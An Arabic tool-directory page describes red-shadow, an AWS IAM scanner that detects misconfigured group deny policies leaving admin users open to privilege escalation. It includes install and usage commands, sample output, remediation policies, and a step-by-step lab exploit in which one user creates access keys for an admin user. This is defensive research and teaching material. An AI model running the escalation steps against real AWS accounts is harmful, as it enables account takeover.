Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
red-shadow — يقوم بمسح تكوينات AWS IAM للبحث عن مسؤولين ظليين عن طريق اكتشاف سياسات المنع غير الصحيحة التي تفشل في تقييد إجراءات المستخدم على المجموعات، مما يتيح اكتشاف تصعيد الامتيازات وإصلاحها. | Kitploit
أدوات/GitHubGitHub/lightspin-tech/red-shadow
أمن البنية التحتية السحابيةماسحات الثغرات الأمنيةاختبار الاختراقأمن السحابةإدارة الهوية والوصول (IAM)سوء التكوين
GitHublightspin-tech/red-shadow

red-shadow

يقوم بمسح تكوينات AWS IAM للبحث عن مسؤولين ظليين عن طريق اكتشاف سياسات المنع غير الصحيحة التي تفشل في تقييد إجراءات المستخدم على المجموعات، مما يتيح اكتشاف تصعيد الامتيازات وإصلاحها.

عرض المستودع
9522منذ 5 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

red-shadow

Red-Shadow

ماسح الثغرات الأمنية في AWS IAM من Lightspin

الوصف

قم بمسح تهيئة AWS IAM الخاصة بك بحثًا عن مسؤولين ظل (Shadow Admins) في AWS IAM استنادًا إلى سياسات المنع (Deny) غير الصحيحة التي لا تؤثر على المستخدمين في المجموعات، والتي اكتشفها فريق أبحاث الأمن في Lightspin.

تكتشف الأداة الأخطاء في التهيئة في كائنات IAM التالية:

  • السياسات المُدارة (Managed Policies)
  • سياسات المستخدمين المضمنة (Users Inline Policies)
  • سياسات المجموعات المضمنة (Groups Inline Policies)
  • سياسات الأدوار المضمنة (Roles Inline Policies)

ملخص البحث

لا يعمل منطق تقييم AWS IAM لسياسات المنع المطبقة على المجموعات بنفس الطريقة التي قد يكون معظم مهندسي الأمن معتادين عليها مع آليات التفويض الأخرى.

افترض أن هناك سياسة بمورد مجموعة تحتوي على منع صريح. في هذه الحالة، سيؤثر هذا فقط على إجراءات المجموعة وليس على إجراءات المستخدم، مما يعرض المؤسسات لأخطاء في التهيئة وثغرات إذا افترضوا أن العملية مماثلة لتلك الموجودة في Active Directory على سبيل المثال.

مثال لسياسة JSON ضعيفة:

root@kitploit:~
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "ProtectManagersByDeny",
            "Effect": "Deny",
            "Action": "*",
            "Resource": "arn:aws:iam::123456789999:group/managers"
        }
    ]
}

في هذا المثال، يجب أن تمنع السياسة أي إجراء IAM يقوم به المستخدمون أو المجموعات أو الأدوار المرتبطة بهذه السياسة تجاه المجموعة المسماة managers.

الحقيقة هي أن إجراء IAM بسيط مثل iam:ChangePassword سيعمل لأن سياسة المنع غير فعالة.

رابط إلى المدونة الكاملة للبحث الأمني

الكشف

لدى AWS IAM فصل واضح بين إجراءات كائن المستخدم وإجراءات كائن المجموعة.

تتضمن القائمة التالية إجراءات كائن المستخدم التي تقوم الأداة بمسحها على سياسات المنع التي تؤثر على المجموعات (بجانب wildcard):

root@kitploit:~
AWS_USER_ACTIONS = ["iam:CreateUser",
                     "iam:GetUser",
                     "iam:UpdateUser",
                     "iam:DeleteUser",
                     "iam:GetUserPolicy",
                     "iam:PutUserPolicy",
                     "iam:DeleteUserPolicy",
                     "iam:ListUserPolicies",
                     "iam:AttachUserPolicy",
                     "iam:DetachUserPolicy",
                     "iam:ListAttachedUserPolicies",
                     "iam:SimulatePrincipalPolicy",
                     "iam:GetContextKeysForPrincipalPolicy",
                     "iam:TagUser",
                     "iam:UpdateSSHPublicKey",
                     "iam:UntagUser",
                     "iam:GetSSHPublicKey",
                     "iam:ListUserTags",
                     "iam:DeleteSSHPublicKey",
                     "iam:GetLoginProfile",
                     "iam:GetAccessKeyLastUsed",
                     "iam:UpdateLoginProfile",
                     "iam:UploadSigningCertificate",
                     "iam:DeleteLoginProfile",
                     "iam:ListSigningCertificates",
                     "iam:CreateLoginProfile",
                     "iam:UpdateSigningCertificate",
                     "iam:EnableMFADevice",
                     "iam:DeleteSigningCertificate",
                     "iam:ResyncMFADevice",
                     "iam:ListServiceSpecificCredentials",
                     "iam:ListMFADevices",
                     "iam:ResetServiceSpecificCredential",
                     "iam:DeactivateMFADevice",
                     "iam:CreateServiceSpecificCredential",
                     "iam:ChangePassword",
                     "iam:UpdateServiceSpecificCredential",
                     "iam:CreateAccessKey",
                     "iam:DeleteServiceSpecificCredential",
                     "iam:ListAccessKeys",
                     "iam:PutUserPermissionsBoundary",
                     "iam:UpdateAccessKey",
                     "iam:DeleteUserPermissionsBoundary",
                     "iam:DeleteAccessKey",
                     "iam:ListGroupsForUser",
                     "iam:ListSSHPublicKeys",
                     "iam:UploadSSHPublicKey"]

العديد من إجراءات كائن المستخدم المذكورة أعلاه يمكن أن تؤدي بسهولة إلى رفع الامتيازات (Privilege Escalation) أو اختراق الحساب، مثل إعادة تعيين كلمة مرور المسؤول، أو تعطيل MFA للحساب الجذر، وغيرها.

المتطلبات

تم بناء Red-Shadow باستخدام Python 3 و Boto3.

تتطلب الأداة:

  • مستخدم IAM مع مفتاح وصول في متغيرات بيئة نظام التشغيل
  • أذونات كافية لمستخدم IAM لتشغيل الماسح
  • تثبيت Python 3 و pip3

التثبيت

root@kitploit:~
sudo git clone https://github.com/lightspin-tech/red-shadow.git
cd red-shadow
pip3 install -r requirements.txt

الاستخدام

root@kitploit:~
python3 red-shadow.py

تحليل النتائج

تكتشف النتائج أي كائن IAM معرض لمثل هذا التجاوز في التفويض في AWS.

مثال على مخرجات النتائج:

root@kitploit:~
++ Starting Red-Shadow ++

++ AWS IAM Vulnerability Scanner
++ Red Shadow scans for shadow admins in AWS IAM based on misconfigured deny policies not affecting users in groups

Step 1: Searching for IAM Group misconfigurations in managed policies
Found potential misconfiguration at arn:aws:iam::123456789999:policy/ProtectManagers
Progress: |██████████████████████████████████████████████████| 100.0% Complete
Step 2: Searching for IAM Group misconfigurations in Users inline policies
Progress: |██████████████████████████████████████████████████| 100.0% Complete
Step 3: Searching for IAM Group misconfigurations in Groups inline policies
Progress: |██████████████████████████████████████████████████| 100.0% Complete
Step 4: Searching for IAM Group misconfigurations in Roles inline policies
Progress: |██████████████████████████████████████████████████| 100.0% Complete
Done

في هذا المخرج، يمكننا أن نرى أن سياسة المنع الخاصة بنا ProtectManagers غير فعالة ومعرضة للهجمات مثل رفع الامتيازات المذكورة أعلاه.

المحاكاة والاستغلال

للتحقق من ثغرة IAM وتشغيل الاستغلال، يمكنك تنفيذ التدفق التالي:

  1. aws iam create-group --group-name managers
  2. aws iam attach-group-policy --group-name managers --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
  3. aws iam create-user --user-name JohnAdmin
  4. aws iam add-user-to-group --user-name JohnAdmin --group-name managers
  5. أنشئ ملف policy.json بالمحتوى أدناه (استبدل معرف الحساب):
root@kitploit:~
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "ProtectManagersByDeny",
      "Effect": "Deny",
      "Action": "*",
      "Resource": "arn:aws:iam::123456789999:group/managers"
    }
  ]
}
  1. aws iam create-policy --policy-name ProtectManagers --policy-document file://policy.json
  2. aws iam create-group --group-name backend-dev
  3. aws iam create-user --user-name BobAttacker
  4. aws iam add-user-to-group --user-name BobAttacker --group-name backend-dev
  5. aws iam attach-group-policy --group-name backend-dev --policy-arn arn:aws:iam::123456789999:policy/ProtectManagers
  6. أنشئ سياسة للسماح للمستخدمين بإنشاء مفاتيح الوصول في ملف policy_iam.json لمجموعة backend-dev:
root@kitploit:~
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "VisualEditor0",
            "Effect": "Allow",
            "Action": "iam:CreateAccessKey",
            "Resource": "*"
        }
    ]
}
  1. aws iam create-policy --policy-name devCreateAccessKeys --policy-document file://policy_iam.json
  2. aws iam attach-group-policy --group-name backend-dev --policy-arn arn:aws:iam::123456789999:policy/devCreateAccessKeys
  3. تحقق من التهيئة باستخدام: aws iam list-attached-group-policies --group backend-dev
  4. aws iam create-access-key --user-name BobAttacker
  5. قم بتكوين مفتاح الوصول الجديد والسر في ملف تعريف AWS (البيئة المحلية)
  6. الآن يمكن للمستخدم BobAttacker إنشاء مفتاح وصول لجميع الموارد ولكن لديه منع صريح لمجموعة managers.

لنستغل الثغرة باستخدام:

aws iam create-access-key --user-name JohnAdmin --profile BobAttacker

اكتمل رفع الامتيازات!

المعالجة

بمجرد العثور على السياسات المعرضة لتجاوز التفويض، هناك طريقتان محتملتان لمعالجة الثغرة وإصلاح السياسة:

الخيار 1: قم بتعريف جميع المستخدمين ذوي الصلة في حقل المورد (resource) بدلاً من المجموعات لتجنب إجراءات IAM غير الفعالة، وامنع جميع إجراءات المجموعة، كما في المثال التالي:

root@kitploit:~
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "DenySpecificUserActions",
            "Effect": "Deny",
            "Action": [
                "iam:CreateLoginProfile",
                "iam:ChangePassword",
                "iam:CreateAccessKey"
            ],
            "Resource": [
                "arn:aws:iam::123456789999:user/[email protected]",
                "arn:aws:iam::123456789999:user/[email protected]",
                "arn:aws:iam::123456789999:user/[email protected]"
            ]
        },
        {
            "Sid": "DenyAllGroupActions",
            "Effect": "Deny",
            "Action": "*",
            "Resource": "arn:aws:iam::123456789999:group/managers"
        }
    ]
}

الخيار 2: استخدم شرطًا (condition) في السياسة مع iam:ResourceTag بدلاً من ذلك، كما في المثال التالي:

root@kitploit:~
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "VisualEditor0",
            "Effect": "Deny",
            "Action": [
                "iam:CreateLoginProfile",
                "iam:ChangePassword",
                "iam:CreateAccessKey"
            ],
            "Resource": "*",
            "Condition": {
                "ForAnyValue:StringEquals": {
                    "iam:ResourceTag/group": "managers"
                }
            }
        }
    ]
}

اتصل بنا

تم إجراء هذا البحث بواسطة فريق أبحاث الأمن في Lightspin. لمزيد من المعلومات، اتصل بنا على [email protected].

الترخيص

هذا المستودع متاح بموجب رخصة Apache 2.0.

تنزيل الأداة